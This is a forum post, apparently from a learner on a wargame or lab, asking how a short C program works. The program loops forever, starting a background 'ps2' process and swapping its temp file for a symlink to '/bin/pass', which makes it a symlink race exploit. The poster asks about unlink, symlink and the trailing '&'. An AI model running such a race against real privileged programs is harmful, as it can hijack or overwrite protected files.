Code:
int main()
{
int i;
while(1)
{
system("/usr/bin/ps2&");
unlink("/var/tmp2/ps2.tmp");
symlink("/bin/pass","/var/tmp2/ps2.tmp");
}
}
ok there is a program called ps2 and when ran it makes a file called ps2.tmp and the object i think is to make a symlink to the pass program before the ps2 program deletes it.... ok my problem is i dont know how or why this works (especially the unlink() symlink() and the & in the system()... or why this program doesnt need any headers to be included to compile?? (i just compiled it like shown above and it works??))
i also did a search on symlink and unlink but that didnt help too much
any help is greatly appreciated